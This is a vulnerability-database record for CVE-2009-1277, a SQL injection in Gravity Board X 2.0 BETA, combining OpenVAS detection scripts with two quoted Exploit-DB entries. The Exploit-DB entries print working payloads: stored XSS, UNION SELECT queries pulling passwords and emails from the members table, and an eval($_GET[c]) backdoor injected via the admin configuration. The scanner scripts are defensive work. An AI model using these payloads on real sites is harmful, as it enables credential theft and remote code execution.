ID CVE-2009-1277 Type cve Reporter NVD Modified 2017-09-28T21:34:16
Description
SQL injection vulnerability in index.php in Gravity Board X (GBX) 2.0 BETA allows remote attackers to execute arbitrary SQL commands via the member_id parameter in a viewprofile action. NOTE: the board_id issue is already covered by CVE-2008-2996.2.
{"openvas": [{"lastseen": "2017-07-02T21:14:10", "references": ["http://www.securityfocus.com/bid/34370"], "pluginID": "100101", "description": "Gravity Board X is prone to multiple SQL-injection vulnerabilities\n and a remote command-execution because it fails to sufficiently\n sanitize user-supplied data before using it in an SQL query.\n\n Exploiting these issues could allow an attacker to execute arbitrary\n code, compromise the application. access or modify data, or exploit\n latent vulnerabilities in the underlying database.\n\n Gravity Board X 2.0 is vulnerable; other versions may also be\n affected.", "edition": 1, "reporter": "This script is Copyright (C) 2009 Greenbone Networks GmbH", "published": "2009-04-05T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability", "type": "openvas", "naslFamily": "Web application abuses", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-1277"], "modified": "2017-01-09T00:00:00", "href": "http://plugins.openvas.org/nasl.php?oid=100101", "id": "OPENVAS:100101", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gravity_board_x_34370.nasl 4970 2017-01-09 15:00:59Z teissa $\n#\n# Gravity Board X Multiple SQL Injection Vulnerabilities and Remote\n# Command Execution Vulnerability\n#\n# Authors\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"Gravity Board X is prone to multiple SQL-injection vulnerabilities\n and a remote command-execution because it fails to sufficiently\n sanitize user-supplied data before using it in an SQL query.\n\n Exploiting these issues could allow an attacker to execute arbitrary\n code, compromise the application. access or modify data, or exploit\n latent vulnerabilities in the underlying database.\n\n Gravity Board X 2.0 is vulnerable; other versions may also be\n affected.\";\n\n\nif (description)\n{\n script_id(100101);\n script_version(\"$Revision: 4970 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-01-09 16:00:59 +0100 (Mon, 09 Jan 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-04-05 13:52:05 +0200 (Sun, 05 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1277\");\n script_bugtraq_id(34370);\n\n script_name(\"Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability\");\n\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"gravity_board_x_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"summary\" , value : tag_summary);\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/34370\");\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nport = get_http_port(default:80);\n\nif(!get_port_state(port))exit(0);\nif(!can_host_php(port:port))exit(0);\n\nif(!version = get_kb_item(string(\"www/\", port, \"/GravityX\")))exit(0);\nif(!matches = eregmatch(string:version, pattern:\"^(.+) under (/.*)$\"))exit(0);\n\nvers = matches[1];\ndir = matches[2];\n\nif(!isnull(vers) && vers >!< \"unknown\") {\n\n if(ereg(pattern: \"^2.0 BETA$\", string: vers)) {\n VULN = TRUE;\n } \n\n} else { \n# No version found, try to exploit.\n if(!isnull(dir)) {\n url = string(dir, \"/index.php?action=viewboard&board_id=-1%27+union+select+0,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374,2+from+gbx_members+where+1=%271\");\n req = http_get(item:url, port:port);\n buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\n if( buf == NULL )continue;\n if(egrep(pattern:\"OpenVAS-SQL-Injection-Test\", string: buf))\n { \n \t VULN = TRUE;\n }\n }\n}\n\nif(VULN) {\n\n security_message(port:port);\n exit(0);\n\n} \nexit(0);\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-09-02T00:05:54", "references": ["http://www.securityfocus.com/bid/34370"], "pluginID": "1361412562310100115", "description": "ConnX is prone to an unspecified SQL-injection vulnerability because it fails\nto sufficiently sanitize user-supplied data before using it in a SQL query.", "edition": 4, "reporter": "This script is Copyright (C) 2009 Greenbone Networks GmbH", "published": "2009-04-08T00:00:00", "title": "ConnX 'frmLoginPwdReminderPopup.aspx' SQL Injection Vulnerability", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Web application abuses", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-1277"], "modified": "2018-02-13T00:00:00", "id": "OPENVAS:1361412562310100115", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100115", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: ConnX_34388.nasl 8782 2018-02-13 10:06:23Z ckuersteiner $\n#\n# ConnX 'frmLoginPwdReminderPopup.aspx' SQL Injection Vulnerability\n#\n# Authors\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:connx:connx\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100115\");\n script_version(\"$Revision: 8782 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-02-13 11:06:23 +0100 (Tue, 13 Feb 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-04-08 20:52:50 +0200 (Wed, 08 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1277\");\n script_bugtraq_id(34370);\n\n script_name(\"ConnX 'frmLoginPwdReminderPopup.aspx' SQL Injection Vulnerability\");\n\n script_tag(name: \"solution_type\", value: \"VendorFix\");\n\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"ConnX_detect.nasl\");\n script_mandatory_keys(\"connx/installed\");\n\n script_tag(name: \"summary\", value: \"ConnX is prone to an unspecified SQL-injection vulnerability because it fails\nto sufficiently sanitize user-supplied data before using it in a SQL query.\");\n\n script_tag(name: \"impact\", value: \"Exploiting this issue could allow an attacker to compromise the application,\naccess or modify data, or exploit latent vulnerabilities in the underlying database.\");\n\n script_tag(name: \"affected\", value: \"ConnX 4.0.20080606 is vulnerable; other versions may also be affected.\");\n\n script_xref(name: \"URL\", value: \"http://www.securityfocus.com/bid/34370\");\n\n script_tag(name:\"qod_type\", value:\"remote_app\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!dir = get_app_location(cpe: CPE, port: port))\n exit(0);\n\nif (dir == \"/\")\n dir = \"\";\n\nvariables = \"__EVENTTARGET=&__EVENTARGUMENT=&ctl00%24hfLoad=&ctl00%24txtFilter=&ctl00%24txtHelpFile=&ctl00%24txtReportsButtonOffset=70&ctl00%24cphMainContent%24txtEmail=++'+union+select+%40%40version%3B--&ctl00%24cphMainContent%24cbSubmit=Submit&ctl00%24txtCurrentFavAdd=&ctl00%24hfFavsTrigger=\";\n\nfilename = dir + \"/frmLoginPwdReminderPopup.aspx\";\nhost = http_host_name(port: port);\n\nreq = string( \"POST \", filename, \" HTTP/1.0\\r\\n\",\n \"Referer: \",\"http://\", host, filename, \"\\r\\n\",\n \"Host: \", host, \"\\r\\n\",\n \"Content-Type: application/x-www-form-urlencoded\\r\\n\",\n \"Content-Length: \", strlen(variables),\n \"\\r\\n\\r\\n\",\n variables ); \n\nbuf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\nif (buf == NULL)\n exit(0);\n\nif (egrep(pattern:\"Syntax error converting the nvarchar value\", string: buf,icase:TRUE)) { \n security_message(port:port);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2018-09-20T16:15:13", "references": ["http://www.securityfocus.com/bid/34370"], "pluginID": "1361412562310100101", "description": "Gravity Board X is prone to multiple SQL-injection vulnerabilities and a\nremote command-execution because it fails to sufficiently sanitize user-supplied data before using it in an SQL\nquery.\n\nExploiting these issues could allow an attacker to execute arbitrary code, compromise the application. access or\nmodify data, or exploit latent vulnerabilities in the underlying database.\n\nGravity Board X 2.0 is vulnerable, other versions may also be affected.", "edition": 6, "reporter": "This script is Copyright (C) 2009 Greenbone Networks GmbH", "published": "2009-04-05T00:00:00", "title": "Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability", "type": "openvas", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "naslFamily": "Web application abuses", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-1277"], "modified": "2018-09-18T00:00:00", "id": "OPENVAS:1361412562310100101", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100101", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gravity_board_x_34370.nasl 11449 2018-09-18 10:04:42Z mmartin $\n#\n# Gravity Board X Multiple SQL Injection Vulnerabilities and Remote\n# Command Execution Vulnerability\n#\n# Authors\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = 'cpe:/a:gravityboardx:gravity_board_x';\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100101\");\n script_version(\"$Revision: 11449 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-09-18 12:04:42 +0200 (Tue, 18 Sep 2018) $\");\n script_tag(name:\"creation_date\", value:\"2009-04-05 13:52:05 +0200 (Sun, 05 Apr 2009)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_cve_id(\"CVE-2009-1277\");\n script_bugtraq_id(34370);\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n script_name(\"Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability\");\n\n script_tag(name:\"qod_type\", value:\"remote_app\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"gravity_board_x_detect.nasl\");\n script_mandatory_keys(\"gravity_board_x/installed\");\n script_require_ports(\"Services/www\", 80);\n\n script_tag(name:\"summary\", value:\"Gravity Board X is prone to multiple SQL-injection vulnerabilities and a\nremote command-execution because it fails to sufficiently sanitize user-supplied data before using it in an SQL\nquery.\n\nExploiting these issues could allow an attacker to execute arbitrary code, compromise the application. access or\nmodify data, or exploit latent vulnerabilities in the underlying database.\n\nGravity Board X 2.0 is vulnerable, other versions may also be affected.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the\ndisclosure of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to\na newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/34370\");\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!dir = get_app_location(cpe: CPE, port: port))\n exit(0);\n\nif (dir == \"/\")\n dir = \"\";\n\nurl = dir + \"/index.php?action=viewboard&board_id=-1%27+union+select+0,0x53514c2d496e6a656374696f6e2d54657374,2+from+gbx_members+where+1=%271\";\n\nreq = http_get(item:url, port:port);\nbuf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);\nif (egrep(pattern:\"SQL-Injection-Test\", string: buf)) {\n report = report_vuln_url(port: port, url: url);\n security_message(port: port, data: report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T23:34:25", "osvdbidlist": ["46890", "46976"], "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"], "references": [], "description": "Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities. CVE-2008-2996,CVE-2008-2997,CVE-2009-1277. Webapps exploit for php platform", "reporter": "CWH Underground", "published": "2008-06-12T00:00:00", "type": "exploitdb", "title": "gravity board x 2.0 beta sql/XSS Multiple Vulnerabilities", "enchantments": {"score": {"vector": "NONE", "value": 6.8}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1277", "CVE-2008-2997", "CVE-2008-2996"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "modified": "2008-06-12T00:00:00", "id": "EDB-ID:5791", "href": "https://www.exploit-db.com/exploits/5791/", "sourceData": "\n====================================================================\n Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities\n====================================================================\n\n ,--^----------,--------,-----,-------^--,\n | ||||||||| `--------' | O\t.. CWH Underground Hacking Team ..\n `+---------------------------^----------|\n `\\_,-------, _________________________|\n / XXXXXX /`| /\n / XXXXXX / `\\ /\n / XXXXXX /\\______(\n / XXXXXX / \n / XXXXXX /\n (________( \n `------'\n\nAUTHOR : CWH Underground\nDATE : 12 June 2008\nSITE : www.citec.us\n\n\n#####################################################\nAPPLICATION : Gravity Board X\nVERSION : 2.0 Beta\nDOWNLOAD : http://downloads.sourceforge.net/gbx\n#####################################################\n\n+++ Remote Stored XSS Exploit +++\n\n When you create new thread in forum, you can inject javascript in title field.\n\n-----\n POC\n-----\n\n[+]POST http://192.168.0.4/gbx/index.php?action=postnewsubmit&board_id=1 HTTP/1.1\n[+]Host: 192.168.0.4\n[+]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\n[+]Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n[+]Accept-Language: en-us,en;q=0.5\n[+]Accept-Encoding: gzip,deflate\n[+]Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n[+]Keep-Alive: 300\n[+]Connection: keep-alive\n[+]Referer: http://127.0.0.1/gbx/index.php?action=postnew&board_id=1\n[+]Cookie: PHPSESSID=507c211a3be817f7e7fcf51b3886665a\n[+]Content-Type: application/x-www-form-urlencoded\n[+]Content-Length: 128\n[+]subject=POC+%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&FCKeditorContents=POC+XSS+Thread&formsent=&board_id=1&submit=Post\n\n+++ Remote SQL Injection Exploit +++\n\n** magic_quotes_gpc = Off **\n\n-------------\n POC Exploit\n-------------\n\n[+]http://[target]/[gbx_path]/index.php?action=getsearch&orderby=dateposted&searchquery=')/**/union/**/select/**/pw/**/from/**/gbx_members/**/where/**/memberid=1/*&byuser=&searchin=submess\n[+]http://[target]/[gbx_path]/index.php?action=viewboard&board_id=1'/**/union/**/select/**/1,pw,3/**/from/**/gbx_members/*\n\n##################################################################\n# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #\n##################################################################\n\n# milw0rm.com [2008-06-12]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/5791/"}, {"lastseen": "2016-02-01T04:19:15", "osvdbidlist": ["53569", "46976"], "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"], "references": [], "description": "Gravity Board X 2.0b SQL Injection / Post Auth Code Execution. CVE-2008-2996,CVE-2009-1277,CVE-2009-1278. Webapps exploit for php platform", "reporter": "brain[pillow]", "published": "2009-04-03T00:00:00", "type": "exploitdb", "title": "Gravity Board X 2.0b SQL Injection / Post Auth Code Execution", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2009-1277", "CVE-2008-2996", "CVE-2009-1278"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "modified": "2009-04-03T00:00:00", "id": "EDB-ID:8350", "href": "https://www.exploit-db.com/exploits/8350/", "sourceData": "================================================================================\n\nFound : brain[pillow]\nDork : \"Powered By Gravity Board X v2.0 BETA\"\nVisit : brainpillow.cc, forum.antichat.ru, raz0r.name\nMail : brainpillow@gmail.com\n\n================================================================================\n\n SQL-injections:\n\n/index.php?action=viewprofile&member_id=slider-loleg'+union+select+concat_ws(char(58),displayname,pw,email)+from+gbx_members+where+1='1\n/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1\n\n================================================================================\n\n Code exec (in admin panel):\n\nGo: /index.php?action=configure\nEnter Board Name: xXx\";if(isset($_GET[c]))eval($_GET[c]);#\nGo: /index.php?ok=phpinfo();\n\n================================================================================\n\n# milw0rm.com [2009-04-03]\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/8350/"}]}
